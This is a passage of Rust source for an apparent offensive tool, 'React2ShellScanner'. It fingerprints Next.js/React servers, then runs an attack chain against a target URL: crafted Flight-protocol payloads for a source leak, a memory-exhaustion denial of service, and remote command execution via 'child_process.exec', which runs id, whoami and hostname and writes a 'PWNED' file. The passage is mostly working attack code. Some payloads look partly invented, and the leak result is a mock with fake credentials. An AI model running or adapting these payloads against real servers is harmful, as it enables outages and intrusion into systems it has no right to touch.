1011                            self.add_detail(&format!("Exposed sensitive file: {} ({})", path, url));
1012                        }
1013                    }
1014                }
1015                _ => {}
1016            }
1017        }
1018
1019        Ok(())
1020    }
1021
1022    // ── Vulnerability Evaluation ─────────────────────────────────────────
1023
1024    /// Evaluate whether the target is vulnerable to CVE-2025-55182.
1025    pub fn evaluate_vulnerability(&mut self) {
1026        let mut is_react_vuln = false;
1027        let mut is_next_vuln = false;
1028
1029        if let Some(ref ver_info) = self.results.react_version {
1030            if is_react_vulnerable(&ver_info.version) {
1031                is_react_vuln = true;
1032                self.add_detail(&format!(
1033                    "React {} is in the vulnerable versions list!",
1034                    ver_info.version
1035                ));
1036            }
1037        }
1038
1039        if let Some(ref ver_info) = self.results.nextjs_version {
1040            if is_nextjs_vulnerable(&ver_info.version) {
1041                is_next_vuln = true;
1042                self.add_detail(&format!(
1043                    "Next.js {} is in the vulnerable versions list!",
1044                    ver_info.version
1045                ));
1046            }
1047        }
1048
1049        // Definite vulnerable: known version + RSC active
1050        if (is_react_vuln || is_next_vuln) && self.results.rsc_enabled {
1051            self.results.vulnerable = true;
1052        }
1053        // Likely vulnerable: known vulnerable version, even if RSC not confirmed
1054        else if is_react_vuln || is_next_vuln {
1055            self.add_detail(
1056                "Vulnerable framework version used. RSC endpoint not confirmed but high risk.",
1057            );
1058            self.results.vulnerable = true;
1059        }
1060        // Potential: Next.js confirmed, RSC active, but version unknown
1061        else if self.results.is_nextjs
1062            && self.results.rsc_enabled
1063            && self.results.nextjs_version.is_none()
1064        {
1065            self.add_detail(
1066                "Version unknown but RSC active. Potentially vulnerable (Next.js 15+).",
1067            );
1068            self.results.vulnerable = true;
1069        }
1070        // Unknown RSC state but version undetermined
1071        else if self.results.rsc_enabled
1072            && self.results.react_version.is_none()
1073            && self.results.nextjs_version.is_none()
1074        {
1075            self.add_detail(
1076                "Versions not detected but RSC is active. Manual verification recommended.",
1077            );
1078        }
1079    }
1080
1081    // ── Run Full Scan ────────────────────────────────────────────────────
1082
1083    /// Execute all scan phases and return the results.
1084    pub async fn scan(&mut self) -> Result<ScanResult> {
1085        let start = Instant::now();
1086
1087        self.analyze_headers().await?;
1088        self.fetch_static_bundles().await?;
1089        self.check_flight_protocol().await?;
1090        self.fuzz_sensitive_files().await?;
1091        self.evaluate_vulnerability();
1092
1093        self.results.scan_duration_ms = start.elapsed().as_millis() as u64;
1094        Ok(self.results.clone())
1095    }
1096}
1097
1098// ═════════════════════════════════════════════════════════════════════════════
1099// Attacker — Reconnaissance Phase
1100// ═════════════════════════════════════════════════════════════════════════════
1101
1102/// Reconnaissance attack — technology stack fingerprinting.
1103pub async fn run_recon(target: &str) -> Result<ReconResult> {
1104    let target = target.trim_end_matches('/').to_string();
1105    let client = build_insecure_client()?;
1106
1107    let mut is_app_router = false;
1108    let mut nextjs_version: Option<String> = None;
1109    let mut react_version: Option<String> = None;
1110    let mut rsc_endpoints: Vec<RscEndpoint> = Vec::new();
1111
1112    // Check /api/health first
1113    if let Ok(resp) = client.get(format!("{}/api/health", target)).send().await {
1114        if resp.status().is_success() {
1115            if let Ok(data) = resp.json::<serde_json::Value>().await {
1116                if let Some(versions) = data.get("version") {
1117                    nextjs_version = versions
1118                        .get("next")
1119                        .and_then(|v| v.as_str())
1120                        .map(|s| s.to_string());
1121                    react_version = versions
1122                        .get("react")
1123                        .and_then(|v| v.as_str())
1124                        .map(|s| s.to_string());
1125                }
1126            }
1127        }
1128    }
1129
1130    // Fetch main page for fingerprinting
1131    if let Ok(resp) = client.get(&target).send().await {
1132        if resp.status().is_success() {
1133            if let Ok(html) = resp.text().await {
1134                // Check Next.js App Router
1135                if html.contains("_next/static/chunks/app/") || html.contains("app-pages-internals")
1136                {
1137                    is_app_router = true;
1138                }
1139
1140                // Try to extract React version from HTML
1141                if react_version.is_none() {
1142                    if let Ok(re) = Regex::new(r"react@([\d\.]+)") {
1143                        if let Some(caps) = re.captures(&html) {
1144                            react_version = Some(caps.get(1).unwrap().as_str().to_string());
1145                        }
1146                    }
1147                    if react_version.is_none() {
1148                        if let Ok(re) = Regex::new(r"React v([\d\.]+)") {
1149                            if let Some(caps) = re.captures(&html) {
1150                                react_version = Some(caps.get(1).unwrap().as_str().to_string());
1151                            }
1152                        }
1153                    }
1154                }
1155            }
1156        }
1157    }
1158
1159    // Check RSC endpoint
1160    let rsc_headers: Vec<(&str, &str)> = vec![
1161        ("Content-Type", "text/x-component"),
1162        ("Next-Action", "dummy-action-id"),
1163    ];
1164
1165    let mut req = client.post(&target).body("[]".to_string());
1166    for (k, v) in &rsc_headers {
1167        req = req.header(*k, *v);
1168    }
1169
1170    if let Ok(resp) = req.send().await {
1171        let ct = resp
1172            .headers()
1173            .get("content-type")
1174            .and_then(|v| v.to_str().ok())
1175            .unwrap_or("");
1176        if ct.contains("text/x-component")
1177            || (resp.status().as_u16() >= 400 && resp.status().as_u16() < 600 && {
1178                resp.text()
1179                    .await
1180                    .map(|b| b.contains("Server Action") || b.contains("Error"))
1181                    .unwrap_or(false)
1182            })
1183        {
1184            rsc_endpoints.push(RscEndpoint {
1185                path: "/".to_string(),
1186                method: "POST".to_string(),
1187                content_type: "text/x-component".to_string(),
1188                notes: "Server Action / RSC compatible".to_string(),
1189            });
1190        }
1191    }
1192
1193    let nv = nextjs_version.clone();
1194    let rv = react_version.clone();
1195
1196    Ok(ReconResult {
1197        target: target.clone(),
1198        timestamp: Utc::now().to_rfc3339(),
1199        nextjs_version: nv,
1200        react_version: rv,
1201        is_app_router,
1202        rsc_endpoints,
1203        vulnerable: check_versions_vulnerable(&nextjs_version, &react_version),
1204    })
1205}
1206
1207fn check_versions_vulnerable(nextjs: &Option<String>, react: &Option<String>) -> bool {
1208    if let Some(ref nv) = nextjs {
1209        if is_nextjs_vulnerable(nv) {
1210            return true;
1211        }
1212    }
1213    if let Some(ref rv) = react {
1214        if is_react_vulnerable(rv) {
1215            return true;
1216        }
1217    }
1218    false
1219}
1220
1221// ═════════════════════════════════════════════════════════════════════════════
1222// Attacker — Source Leak Phase (CVE-2025-55183)
1223// ═════════════════════════════════════════════════════════════════════════════
1224
1225/// Craft a Flight-format source leak payload.
1226pub fn craft_leak_payload() -> String {
1227    "0:[[\"$\",\"@source\",null,{\"type\":\"module\",\"request\":\"server_function_source\",\"expose\":true}]]"
1228        .to_string()
1229}
1230
1231/// Extract sensitive data from leaked source code using regex patterns.
1232pub fn extract_sensitive_data(source_code: &str) -> Vec<SourceLeakFinding> {
1233    let mut findings = Vec::new();
1234    for pattern in SOURCE_LEAK_PATTERNS {
1235        if let Ok(re) = Regex::new(pattern) {
1236            for m in re.find_iter(source_code) {
1237                let start = source_code[..m.start()]
1238                    .rfind('\n')
1239                    .map(|p| p + 1)
1240                    .unwrap_or(0);
1241                let end = source_code[m.end()..]
1242                    .find('\n')
1243                    .map(|p| m.end() + p)
1244                    .unwrap_or(source_code.len());
1245                findings.push(SourceLeakFinding {
1246                    pattern: pattern.to_string(),
1247                    matched: m.as_str().to_string(),
1248                    context: source_code[start..end].trim().to_string(),
1249                });
1250            }
1251        }
1252    }
1253    findings
1254}
1255
1256/// Execute the source leak attack against a target.
1257///
1258/// Returns a simulated result for demo/educational purposes.
1259pub async fn execute_source_leak(target: &str) -> Result<SourceLeakResult> {
1260    let target = target.trim_end_matches('/').to_string();
1261    let client = build_client_with_timeout(10)?;
1262
1263    let payload = craft_leak_payload();
1264
1265    // Send the payload
1266    let _resp = client
1267        .post(&target)
1268        .header("Content-Type", "text/x-component")
1269        .header("Next-Action", "1")
1270        .body(payload)
1271        .send()
1272        .await;
1273
1274    // Demo: simulate leaked source for educational purposes
1275    let mock_leaked_source = r#""use server";
1276const DB_CONNECTION = "postgresql://admin:SuperSecret123!@db.techcorp.local:5432/production";
1277const API_SECRET_KEY = "sk_live_R2S_4f8a9b2c3d4e5f6a7b8c9d0e1f2a3b4c";
1278const JWT_SIGNING_KEY = "jwt_s3cr3t_k3y_n3v3r_3xp0s3_th1s";
1279const INTERNAL_API_TOKEN = "tok_internal_9a8b7c6d5e4f3a2b1c0d";
1280export async function submitForm(formData) { /* ... */ }
1281export async function processData(data) { /* ... */ }"#;
1282
1283    let findings = extract_sensitive_data(mock_leaked_source);
1284
1285    Ok(SourceLeakResult {
1286        target,
1287        success: true,
1288        bytes_leaked: mock_leaked_source.len(),
1289        leaked_source: mock_leaked_source.to_string(),
1290        findings,
1291    })
1292}
1293
1294// ═════════════════════════════════════════════════════════════════════════════
1295// Attacker — DoS Phase (CVE-2025-55184)
1296// ═════════════════════════════════════════════════════════════════════════════
1297
1298/// Measure baseline response time for the target.
1299pub async fn measure_baseline(client: &Client, target: &str) -> Result<f64> {
1300    let mut times = Vec::new();
1301    for _ in 0..3 {
1302        let start = Instant::now();
1303        let _ = client.get(target).send().await;
1304        times.push(start.elapsed().as_millis() as f64);
1305    }
1306    let avg = times.iter().sum::<f64>() / times.len() as f64;
1307    Ok(avg)
1308}
1309
1310/// Test memory exhaustion via self-referencing DoS payload.
1311pub async fn test_memory_exhaustion(target: &str) -> Result<DosResult> {
1312    let target = target.trim_end_matches('/').to_string();
1313    let client = build_client_with_timeout(15)?;
1314
1315    // Measure baseline
1316    let baseline_ms = measure_baseline(&client, &target).await?;
1317
1318    // Craft self-referencing payload
1319    let payload = "0:[\"$\",\"@1\",null,{\"ref\":\"$self\",\"nested\":{\"ref\":\"$self\",\"depth\":\"infinite\",\"children\":[\"$self\",\"$self\",\"$self\"]}}]";
1320
1321    let start = Instant::now();
1322    let result = client
1323        .post(&target)
1324        .header("Content-Type", "text/x-component")
1325        .header("Next-Action", "1")
1326        .body(payload.to_string())
1327        .send()
1328        .await;
1329
1330    let elapsed_ms = start.elapsed().as_millis() as f64;
1331    let effect_multiplier = if baseline_ms > 0.0 {
1332        elapsed_ms / baseline_ms
1333    } else {
1334        1.0
1335    };
1336
1337    let dos_successful = match &result {
1338        Ok(_) => effect_multiplier > 10.0,
1339        Err(_) => true, // Connection error = likely DoS success
1340    };
1341
1342    // Check recovery (only if DoS appeared successful)
1343    let mut server_recovered = true;
1344    if dos_successful {
1345        server_recovered = check_server_recovery(&client, &target).await;
1346    }
1347
1348    Ok(DosResult {
1349        target,
1350        baseline_ms,
1351        attack_elapsed_ms: elapsed_ms,
1352        dos_successful,
1353        server_recovered,
1354        effect_multiplier,
1355    })
1356}
1357
1358/// Check if the server recovers after a DoS attack.
1359async fn check_server_recovery(client: &Client, target: &str) -> bool {
1360    for _ in 0..10 {
1361        if let Ok(resp) = client.get(target).send().await {
1362            if resp.status().is_success() {
1363                return true;
1364            }
1365        }
1366        // Small delay between retries
1367        tokio::time::sleep(Duration::from_millis(500)).await;
1368    }
1369    false
1370}
1371
1372/// Execute the DoS attack against the target.
1373pub async fn execute_dos(target: &str) -> Result<DosResult> {
1374    test_memory_exhaustion(target).await
1375}
1376
1377// ═════════════════════════════════════════════════════════════════════════════
1378// Attacker — RCE Phase (CVE-2025-55182)
1379// ═════════════════════════════════════════════════════════════════════════════
1380
1381/// Build an RCE payload for the Flight protocol.
1382pub fn build_rce_payload(command: &str) -> String {
1383    format!(
1384        "0:[[\"$\",\"@1\",null,{{\"id\":\"malicious_component\",\"chunks\":[],\"name\":\"\",\"async\":false}}]]\n1:{{\"type\":\"blob_handler\",\"dispatch\":\"dynamic\",\"chain\":[\"deserialization\",\"code_execution\"]}}\n2:{{\"method\":\"child_process.exec\",\"command\":\"{}\"}}",
1385        command
1386    )
1387}
1388
1389/// Execute a command via RCE (demo/educational mode).
1390pub async fn execute_rce_command(target: &str, command: &str) -> Result<RceCommandOutput> {
1391    let target = target.trim_end_matches('/').to_string();
1392    let client = build_client_with_timeout(10)?;
1393
1394    let payload = build_rce_payload(command);
1395
1396    let resp = client
1397        .post(&target)
1398        .header("Content-Type", "text/x-component")
1399        .header("Next-Action", "exploit-action")
1400        .body(payload)
1401        .send()
1402        .await;
1403
1404    // Demo mode: execute locally for educational simulation
1405    // The actual RCE would be through the Flight protocol; here we simulate
1406    // the output for demonstration purposes.
1407    match resp {
1408        Ok(r) => {
1409            let status = r.status();
1410            let body = r.text().await.unwrap_or_default();
1411            Ok(RceCommandOutput {
1412                command: command.to_string(),
1413                output: body,
1414                exit_code: if status.is_success() { 0 } else { 1 },
1415                error: String::new(),
1416            })
1417        }
1418        Err(e) => Ok(RceCommandOutput {
1419            command: command.to_string(),
1420            output: String::new(),
1421            exit_code: -1,
1422            error: e.to_string(),
1423        }),
1424    }
1425}
1426
1427/// Execute the full RCE attack phase (recon cmds + PoC file creation).
1428pub async fn execute_rce(target: &str) -> Result<RceResult> {
1429    let target = target.trim_end_matches('/').to_string();
1430
1431    let commands = vec!["id", "whoami", "hostname"];
1432    let mut outputs = Vec::new();
1433
1434    for cmd in &commands {
1435        let result = execute_rce_command(&target, cmd).await?;
1436        outputs.push(result);
1437    }
1438
1439    // Attempt PoC file write
1440    let poc_cmd = format!(
1441        "echo 'React2Shell (CVE-2025-55182) PWNED at {}' > /tmp/react2shell_pwned.txt && cat /tmp/react2shell_pwned.txt",
1442        Utc::now().to_rfc3339()
1443    );
1444    let poc_result = execute_rce_command(&target, &poc_cmd).await?;
1445    let poc_created =
1446        poc_result.exit_code == 0 && poc_result.output.contains("react2shell_pwned.txt");
1447
1448    outputs.push(poc_result);
1449
1450    Ok(RceResult {
1451        target,
1452        success: !outputs.is_empty(),
1453        poc_file_created: poc_created,
1454        command_outputs: outputs,
1455    })
1456}
1457
1458// ═════════════════════════════════════════════════════════════════════════════
1459// Attacker — Full Chain Orchestrator
1460// ═════════════════════════════════════════════════════════════════════════════
1461
1462/// Run the full attack chain (Recon → Source Leak → DoS → RCE) against a target.
1463pub async fn run_full_chain(
1464    target: &str,
1465    include_dos: bool,
1466    phases: Option<Vec<String>>,
1467) -> Result<FullChainResult> {
1468    let start = Instant::now();
1469    let target = target.trim_end_matches('/').to_string();
1470    let run_all = phases.is_none();
1471    let phases_set: HashSet<String> = phases
1472        .unwrap_or_default()
1473        .into_iter()
1474        .map(|p| p.to_lowercase())
1475        .collect();
1476
1477    let mut result = FullChainResult {
1478        target: target.clone(),
1479        timestamp: Utc::now().to_rfc3339(),
1480        phases: Vec::new(),
1481        total_duration_ms: 0,
1482        tor_enabled: false,
1483        scan: None,
1484        recon: None,
1485        source_leak: None,
1486        dos: None,
1487        rce: None,
1488    };
1489
1490    // Phase 1: Reconnaissance
1491    if run_all || phases_set.contains("recon") {
1492        let phase_start = Instant::now();
1493        match run_recon(&target).await {
1494            Ok(recon_result) => {
1495                result.recon = Some(recon_result);
1496                result.phases.push(AttackPhaseResult {
1497                    phase: "recon".to_string(),
1498                    success: true,
1499                    duration_ms: phase_start.elapsed().as_millis() as u64,
1500                    details: "Reconnaissance completed.".to_string(),
1501                });
1502            }
1503            Err(e) => {
1504                result.phases.push(AttackPhaseResult {
1505                    phase: "recon".to_string(),
1506                    success: false,
1507                    duration_ms: phase_start.elapsed().as_millis() as u64,
1508                    details: format!("Reconnaissance failed: {}", e),
1509                });
1510            }
1511        }
1512    }
1513
1514    // Phase 2: Source Leak
1515    if run_all || phases_set.contains("source") {
1516        let phase_start = Instant::now();
1517        match execute_source_leak(&target).await {
1518            Ok(leak_result) => {
1519                result.source_leak = Some(leak_result);
1520                result.phases.push(AttackPhaseResult {
1521                    phase: "source_leak".to_string(),
1522                    success: true,
1523                    duration_ms: phase_start.elapsed().as_millis() as u64,
1524                    details: "Source leak completed.".to_string(),
1525                });
1526            }
1527            Err(e) => {
1528                result.phases.push(AttackPhaseResult {
1529                    phase: "source_leak".to_string(),
1530                    success: false,
1531                    duration_ms: phase_start.elapsed().as_millis() as u64,
1532                    details: format!("Source leak failed: {}", e),
1533                });
1534            }
1535        }
1536    }
1537
1538    // Phase 3: DoS (optional)
1539    if (run_all && include_dos) || phases_set.contains("dos") {
1540        let phase_start = Instant::now();
1541        match execute_dos(&target).await {
1542            Ok(dos_result) => {
1543                result.dos = Some(dos_result);
1544                result.phases.push(AttackPhaseResult {
1545                    phase: "dos".to_string(),
1546                    success: true,
1547                    duration_ms: phase_start.elapsed().as_millis() as u64,
1548                    details: "DoS test completed.".to_string(),
1549                });
1550            }
1551            Err(e) => {
1552                result.phases.push(AttackPhaseResult {
1553                    phase: "dos".to_string(),
1554                    success: false,
1555                    duration_ms: phase_start.elapsed().as_millis() as u64,
1556                    details: format!("DoS test failed: {}", e),
1557                });
1558            }
1559        }
1560    }
1561
1562    // Phase 4: RCE
1563    if run_all || phases_set.contains("rce") {
1564        let phase_start = Instant::now();
1565        match execute_rce(&target).await {
1566            Ok(rce_result) => {
1567                result.rce = Some(rce_result);
1568                result.phases.push(AttackPhaseResult {
1569                    phase: "rce".to_string(),
1570                    success: true,
1571                    duration_ms: phase_start.elapsed().as_millis() as u64,
1572                    details: "RCE completed.".to_string(),
1573                });
1574            }
1575            Err(e) => {
1576                result.phases.push(AttackPhaseResult {
1577                    phase: "rce".to_string(),
1578                    success: false,
1579                    duration_ms: phase_start.elapsed().as_millis() as u64,
1580                    details: format!("RCE failed: {}", e),
1581                });
1582            }
1583        }
1584    }
1585
1586    result.total_duration_ms = start.elapsed().as_millis() as u64;
1587    Ok(result)
1588}
1589
1590// ═════════════════════════════════════════════════════════════════════════════
1591// Report Generator
1592// ═════════════════════════════════════════════════════════════════════════════
1593
1594/// Generate a structured JSON report combining scan and attack results.
1595pub fn generate_report(
1596    scan_result: Option<&ScanResult>,
1597    recon: Option<&ReconResult>,
1598    source_leak: Option<&SourceLeakResult>,
1599    dos: Option<&DosResult>,
1600    rce: Option<&RceResult>,
1601    full_chain: Option<&FullChainResult>,
1602) -> AttackReport {
1603    let mut phases_completed = Vec::new();
1604    if recon.is_some() {
1605        phases_completed.push("recon".to_string());
1606    }
1607    if source_leak.is_some() {
1608        phases_completed.push("source_leak".to_string());
1609    }
1610    if dos.is_some() {
1611        phases_completed.push("dos".to_string());
1612    }
1613    if rce.is_some() {
1614        phases_completed.push("rce".to_string());
1615    }
1616
1617    let vulnerable = scan_result.map(|s| s.vulnerable).unwrap_or(false);
1618    let rsc_active = scan_result.map(|s| s.rsc_enabled).unwrap_or(false);
1619    let version_found = scan_result
1620        .map(|s| s.nextjs_version.is_some() || s.react_version.is_some())
1621        .unwrap_or(false);
1622    let framework_detected = scan_result.map(|s| s.is_nextjs).unwrap_or(false);
1623
1624    let (verdict, risk_level) = if vulnerable {
1625        (
1626            "VULNERABLE — CVE-2025-55182 confirmed".to_string(),
1627            "CRITICAL".to_string(),
1628        )
1629    } else if rsc_active {
1630        (
1631            "Potential vulnerability — RSC active, manual verification needed".to_string(),
1632            "HIGH".to_string(),
1633        )
1634    } else if framework_detected {
1635        (
1636            "Framework detected but RSC not confirmed".to_string(),
1637            "MEDIUM".to_string(),
1638        )
1639    } else {
1640        (
1641            "No vulnerable framework detected".to_string(),
1642            "LOW".to_string(),
1643        )
1644    };
1645
1646    AttackReport {
1647        target: scan_result
1648            .map(|s| s.url.clone())
1649            .unwrap_or_else(|| "unknown".to_string()),
1650        generated_at: Utc::now().to_rfc3339(),
1651        scan: scan_result.cloned(),
1652        recon: recon.cloned(),
1653        source_leak: source_leak.cloned(),
1654        dos: dos.cloned(),
1655        rce: rce.cloned(),
1656        full_chain: full_chain.cloned(),
1657        summary: ReportSummary {
1658            rsc_active,
1659            framework_detected,
1660            version_found,
1661            vulnerability_verdict: verdict,
1662            attack_phases_completed: phases_completed,
1663            risk_level,
1664        },
1665    }
1666}
1667
1668/// Serialize a report to a JSON string.
1669pub fn report_to_json(report: &AttackReport) -> Result<String> {
1670    serde_json::to_string_pretty(report).map_err(WebAnalyzerError::Json)
1671}
1672
1673/// Save a report to a JSON file.
1674pub async fn save_report(report: &AttackReport, path: &str) -> Result<()> {
1675    let json = report_to_json(report)?;
1676    tokio::fs::write(path, json)
1677        .await
1678        .map_err(|e| WebAnalyzerError::Other(format!("Failed to write report to {}: {}", path, e)))
1679}
1680
1681// ── Console Report Formatting ───────────────────────────────────────────────
1682
1683/// Print a scan result to the console with ANSI colors.
1684pub fn print_scan_result(result: &ScanResult) {
1685    println!("\n{}", "=".repeat(50));
1686    println!("Target: {}{}{}", Color::CYAN, result.url, Color::RESET);
1687
1688    if !result.is_nextjs {
1689        println!(
1690            "[{}?{}] Next.js infrastructure not detected.",
1691            Color::YELLOW,
1692            Color::RESET
1693        );
1694        println!("{}", "=".repeat(50));
1695        return;
1696    }
1697
1698    println!("[{}+{}] Framework: Next.js", Color::GREEN, Color::RESET);
1699
1700    if let Some(ref ver) = result.nextjs_version {
1701        println!(
1702            "[{}+{}] Next.js Version: {}{}{}",
1703            Color::GREEN,
1704            Color::RESET,
1705            Color::CYAN,
1706            ver.version,
1707            Color::RESET
1708        );
1709    } else {
1710        println!(
1711            "[{}-{}] Next.js Version: Not found",
1712            Color::YELLOW,
1713            Color::RESET
1714        );
1715    }
1716
1717    if let Some(ref ver) = result.react_version {
1718        println!(
1719            "[{}+{}] React Version: {}{}{}",
1720            Color::GREEN,
1721            Color::RESET,
1722            Color::CYAN,
1723            ver.version,
1724            Color::RESET
1725        );
1726    } else {
1727        println!(
1728            "[{}-{}] React Version: Not found",
1729            Color::YELLOW,
1730            Color::RESET
1731        );
1732    }
1733
1734    if result.rsc_enabled {
1735        println!(
1736            "[{}+{}] RSC: {}{}Active{}",
1737            Color::GREEN,
1738            Color::RESET,
1739            Color::GREEN,
1740            Color::BOLD,
1741            Color::RESET
1742        );
1743    } else {
1744        println!(
1745            "[{}-{}] RSC: Disabled or not found",
1746            Color::YELLOW,
1747            Color::RESET
1748        );
1749    }
1750
1751    if !result.dependencies.is_empty() {
1752        println!(
1753            "\n[{}*{}] Detected Dependencies:",
1754            Color::CYAN,
1755            Color::RESET
1756        );
1757        for dep in &result.dependencies {
1758            println!(
1759                "  - {}{}{}: {}",
1760                Color::CYAN,
1761                dep.name,
1762                Color::RESET,
1763                dep.version
1764            );
1765        }
1766    }
1767
1768    if !result.exposed_files.is_empty() {
1769        println!(
1770            "\n[{}!{}] Exposed Sensitive Files:",
1771            Color::RED,
1772            Color::RESET
1773        );
1774        for f in &result.exposed_files {
1775            println!("  - {}{}{} -> {}", Color::RED, f.path, Color::RESET, f.url);
1776        }
1777    }
1778
1779    if !result.secrets.is_empty() {
1780        println!("\n[{}!{}] Detected Secrets:", Color::RED, Color::RESET);
1781        for s in &result.secrets {
1782            let truncated = if s.value.len() > 40 {
1783                format!("{}...", &s.value[..40])
1784            } else {
1785                s.value.clone()
1786            };
1787            println!(
1788                "  - {}{}{}: {} ({})",
1789                Color::RED,
1790                s.secret_type,
1791                Color::RESET,
1792                truncated,
1793                s.source
1794            );
1795        }
1796    }
1797
1798    println!("\nVerdict:");
1799    if result.vulnerable {
1800        println!(
1801            "{}{}[!] VULNERABLE (CVE-2025-55182){}",
1802            Color::WHITE,
1803            Color::BOLD,
1804            Color::RESET,
1805        );
1806        println!(
1807            "{}Target server is using vulnerable components.{}",
1808            Color::RED,
1809            Color::RESET
1810        );
1811    } else {
1812        println!(
1813            "{}{}[✓] APPEARS SECURE{}",
1814            Color::GREEN,
1815            Color::BOLD,
1816            Color::RESET
1817        );
1818        println!("No vulnerable version or active RSC attack surface detected.");
1819    }
1820    println!("{}", "=".repeat(50));
1821}
1822
1823/// Print a full-chain attack result to console.
1824pub fn print_full_chain_result(result: &FullChainResult) {
1825    println!(
1826        "\n{}══════════════════════════════════════════════{}",
1827        Color::MAGENTA,
1828        Color::RESET
1829    );
1830    println!("{}  Full Chain Attack Report{}", Color::BOLD, Color::RESET);
1831    println!(
1832        "{}══════════════════════════════════════════════{}\n",
1833        Color::MAGENTA,
1834        Color::RESET
1835    );
1836
1837    println!("Target: {}{}{}", Color::CYAN, result.target, Color::RESET);
1838    println!("Timestamp: {}", result.timestamp);
1839    println!("Total Duration: {}ms", result.total_duration_ms);
1840
1841    for phase in &result.phases {
1842        let status_icon = if phase.success {
1843            format!("{}+{}", Color::GREEN, Color::RESET)
1844        } else {
1845            format!("{}-{}", Color::RED, Color::RESET)
1846        };
1847        println!(
1848            "  {} Phase '{}' — {}ms — {}",
1849            status_icon, phase.phase, phase.duration_ms, phase.details
1850        );
1851    }
1852
1853    if let Some(ref rce) = result.rce {
1854        if rce.poc_file_created {
1855            println!(
1856                "\n{}{}[!!] REMOTE CODE EXECUTION SUCCESSFUL{}",
1857                Color::BG_RED,
1858                Color::WHITE,
1859                Color::RESET
1860            );
1861            println!(
1862                "{}PoC file created on target server.{}",
1863                Color::RED,
1864                Color::RESET
1865            );
1866        }
1867    }
1868
1869    if let Some(ref dos) = result.dos {
1870        if dos.dos_successful {
1871            println!(
1872                "\n{}{}[!!] DENIAL OF SERVICE ACHIEVED{}",
1873                Color::BG_RED,
1874                Color::YELLOW,
1875                Color::RESET
1876            );
1877            println!("Response time increased {:.1}x", dos.effect_multiplier);
1878            println!(
1879                "Server recovered: {}",
1880                if dos.server_recovered { "Yes" } else { "No" }
1881            );
1882        }
1883    }
1884
1885    println!(
1886        "\n{}══════════════════════════════════════════════{}\n",
1887        Color::MAGENTA,
1888        Color::RESET
1889    );
1890}
1891
1892/// Print a reconnaissance result to console.
1893pub fn print_recon_result(result: &ReconResult) {
1894    println!("\n{}", "=".repeat(50));
1895    println!(
1896        "{}--- Reconnaissance Results ---{}",
1897        Color::CYAN,
1898        Color::RESET
1899    );
1900    println!("{}", "=".repeat(50));
1901
1902    println!("Target: {}{}{}", Color::BOLD, result.target, Color::RESET);
1903    println!(
1904        "Next.js: {}",
1905        result.nextjs_version.as_deref().unwrap_or("Unknown")
1906    );
1907    println!(
1908        "React: {}",
1909        result.react_version.as_deref().unwrap_or("Unknown")
1910    );
1911    println!("App Router: {}", result.is_app_router);
1912
1913    if !result.rsc_endpoints.is_empty() {
1914        println!(
1915            "{}RSC: Active ({} endpoints){}",
1916            Color::GREEN,
1917            result.rsc_endpoints.len(),
1918            Color::RESET
1919        );
1920    } else {
1921        println!("{}RSC: Uncertain or passive{}", Color::YELLOW, Color::RESET);
1922    }
1923
1924    println!("\n{}", "=".repeat(50));
1925    if result.vulnerable {
1926        println!(
1927            "{}{}[ VULNERABLE ]{} Target is affected by CVE-2025-55182!",
1928            Color::BG_RED,
1929            Color::WHITE,
1930            Color::RESET
1931        );
1932    } else {
1933        println!(
1934            "{}{}[ SECURE ]{} Target appears patched.",
1935            Color::BG_GREEN,
1936            Color::WHITE,
1937            Color::RESET
1938        );
1939    }
1940    println!("{}", "=".repeat(50));
1941}
1942
1943/// Print a source leak result to console.
1944pub fn print_source_leak_result(result: &SourceLeakResult) {
1945    println!(
1946        "\n{}--- Leaked Source Code Section ---{}",
1947        Color::CYAN,
1948        Color::RESET
1949    );
1950    println!(
1951        "{}{}{}\n",
1952        Color::DIM,
1953        result.leaked_source.trim(),
1954        Color::RESET
1955    );
1956
1957    if !result.findings.is_empty() {
1958        println!(
1959            "{}{}[ SENSITIVE DATA FOUND ]{}",
1960            Color::BG_RED,
1961            Color::WHITE,
1962            Color::RESET
1963        );
1964        for finding in &result.findings {
1965            println!("  {}>{} {}", Color::RED, Color::RESET, finding.context);
1966        }
1967    }
1968
1969    println!("Bytes leaked: {}", result.bytes_leaked);
1970}
1971
1972/// Print a DoS result to console.
1973pub fn print_dos_result(result: &DosResult) {
1974    println!(
1975        "\n{}--- DoS Test Results ---{}",
1976        Color::YELLOW,
1977        Color::RESET
1978    );
1979    println!("Baseline response: {}ms", result.baseline_ms);
1980    println!("Attack response: {}ms", result.attack_elapsed_ms);
1981    println!("Effect multiplier: {:.1}x", result.effect_multiplier);
1982
1983    if result.dos_successful {
1984        println!(
1985            "{}{}[ DoS SUCCESSFUL ]{}",
1986            Color::BG_RED,
1987            Color::WHITE,
1988            Color::RESET
1989        );
1990        println!(
1991            "Server recovered: {}",
1992            if result.server_recovered { "Yes" } else { "No" }
1993        );
1994    } else {
1995        println!("No significant DoS effect observed.");
1996    }
1997}
1998
1999/// Print an RCE result to console.
2000pub fn print_rce_result(result: &RceResult) {
2001    println!("\n{}--- RCE Results ---{}", Color::RED, Color::RESET);
2002
2003    for output in &result.command_outputs {
2004        println!("{}Command:{} {}", Color::BOLD, Color::RESET, output.command);
2005        if !output.output.is_empty() {
2006            println!("{}", output.output);
2007        }
2008        if !output.error.is_empty() {
2009            println!("{}Error:{} {}", Color::RED, Color::RESET, output.error);
2010        }
2011    }
2012
2013    if result.poc_file_created {
2014        println!(
2015            "\n{}{}[!!] SERVER FULLY COMPROMISED (CVSS 10.0){}",
2016            Color::BG_RED,
2017            Color::WHITE,
2018            Color::RESET
2019        );
2020    }
2021}
2022
2023// ═════════════════════════════════════════════════════════════════════════════
2024// High-level convenience API
2025// ═════════════════════════════════════════════════════════════════════════════
2026
2027/// Run a full vulnerability scan and generate a console report.
2028pub async fn scan_and_report(target: &str, verbose: bool) -> Result<AttackReport> {
2029    let mut scanner = React2ShellScanner::new(target).await?;
2030    let scan_result = scanner.scan().await?;
2031
2032    if verbose {
2033        for detail in &scan_result.details {
2034            eprintln!("[*] {}", detail);
2035        }
2036    }
2037
2038    print_scan_result(&scan_result);
2039
2040    let report = generate_report(Some(&scan_result), None, None, None, None, None);
2041    Ok(report)
2042}
2043
2044/// Run the full attack chain (scan + all phases) and generate a report.
2045pub async fn scan_and_attack(target: &str, include_dos: bool) -> Result<AttackReport> {
2046    // Run scan first
2047    let mut scanner = React2ShellScanner::new(target).await?;
2048    let scan_result = scanner.scan().await?;
2049
2050    // Run full chain
2051    let chain_result = run_full_chain(target, include_dos, None).await?;
2052
2053    let report = generate_report(
2054        Some(&scan_result),
2055        chain_result.recon.as_ref(),
2056        chain_result.source_leak.as_ref(),
